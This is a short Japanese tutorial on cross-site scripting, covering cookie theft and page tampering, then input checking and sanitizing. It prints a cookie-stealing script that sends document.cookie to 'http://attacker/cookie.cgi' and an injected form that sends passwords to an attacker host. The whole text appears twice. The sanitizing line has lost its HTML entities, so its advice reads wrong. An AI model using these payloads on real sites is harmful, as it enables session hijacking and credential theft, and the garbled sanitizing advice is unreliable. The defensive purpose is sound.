XSSセキュリティホールによる起こり得る被害
●cookieの盗難
これがXSSの被害としては一般に広く知られている。「document.location="http://attacker/cookie.cgi?
cookie="+document.cookie;」というスクリプトを実行されると、攻撃者サイトのcookie.cgiにユーザーのcookieを
含んだ形でアクセスすることになる。攻撃者サイトのWebサーバのログにも残るだろうし、cookieデータを受けたCGI
ではどんな処理でもできることになる。
cookieに個人情報やセッションIDのような情報だけを格納している場合は、cookieのセッションIDだけでユーザー認
証を行っている場合は危険である。
●ページの改ざん
<form action="regist.cgi">
<input type="hidden" name="sample" value="○○">
パスワード: <input type="text" name="name" value="password">
<input type="submit">
</form>
<form action="regist.cgi">
<input type="hidden" name="sample" value=""></form><form action="http://attacker/regist.cgi">
パスワード: <input type="text" name="name" value="password">
<input type="submit">
</form>
●HTTPおよびHTML文内の特殊文字の対策
XSS対策の最初の一歩は「入力チェック」
入力チェックの落とし穴
すべてのパラメータをチェックをする
毎回チェックをする
特殊文字のサニタイジング(無害化)
文字をサニタイジングするには、それぞれ「<」「>」「&」に変換する。
●cookieの盗難
これがXSSの被害としては一般に広く知られている。「document.location="http://attacker/cookie.cgi?
cookie="+document.cookie;」というスクリプトを実行されると、攻撃者サイトのcookie.cgiにユーザーのcookieを
含んだ形でアクセスすることになる。攻撃者サイトのWebサーバのログにも残るだろうし、cookieデータを受けたCGI
ではどんな処理でもできることになる。
cookieに個人情報やセッションIDのような情報だけを格納している場合は、cookieのセッションIDだけでユーザー認
証を行っている場合は危険である。
●ページの改ざん
<form action="regist.cgi">
<input type="hidden" name="sample" value="○○">
パスワード: <input type="text" name="name" value="password">
<input type="submit">
</form>
<form action="regist.cgi">
<input type="hidden" name="sample" value=""></form><form action="http://attacker/regist.cgi">
パスワード: <input type="text" name="name" value="password">
<input type="submit">
</form>
●HTTPおよびHTML文内の特殊文字の対策
XSS対策の最初の一歩は「入力チェック」
入力チェックの落とし穴
すべてのパラメータをチェックをする
毎回チェックをする
特殊文字のサニタイジング(無害化)
文字をサニタイジングするには、それぞれ「<」「>」「&」に変換する。